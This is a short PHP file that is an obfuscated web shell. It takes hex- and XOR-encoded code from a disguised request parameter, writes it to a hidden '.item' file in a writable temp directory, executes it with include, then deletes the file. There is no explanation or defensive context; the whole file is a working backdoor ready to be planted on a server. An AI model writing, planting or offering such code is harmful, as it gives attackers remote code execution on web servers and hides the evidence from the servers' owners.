<?php
if(@$_REQUEST["\x66\x61\x63tor"] !== null){
$ref = hex2bin($_REQUEST["\x66\x61\x63tor"]);
$dat = '' ; $g = 0; while($g < strlen($ref)){$dat .= chr(ord($ref[$g]) ^ 59);$g++;}
$res = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP")]);
while ($element = array_shift($res)) {
if (max(0, is_dir($element) * is_writable($element))) {
$pset = str_replace("{var_dir}", $element, "{var_dir}/.item");
$success = file_put_contents($pset, $dat);
if ($success) {
include $pset;
@unlink($pset);
exit;}
}
}
}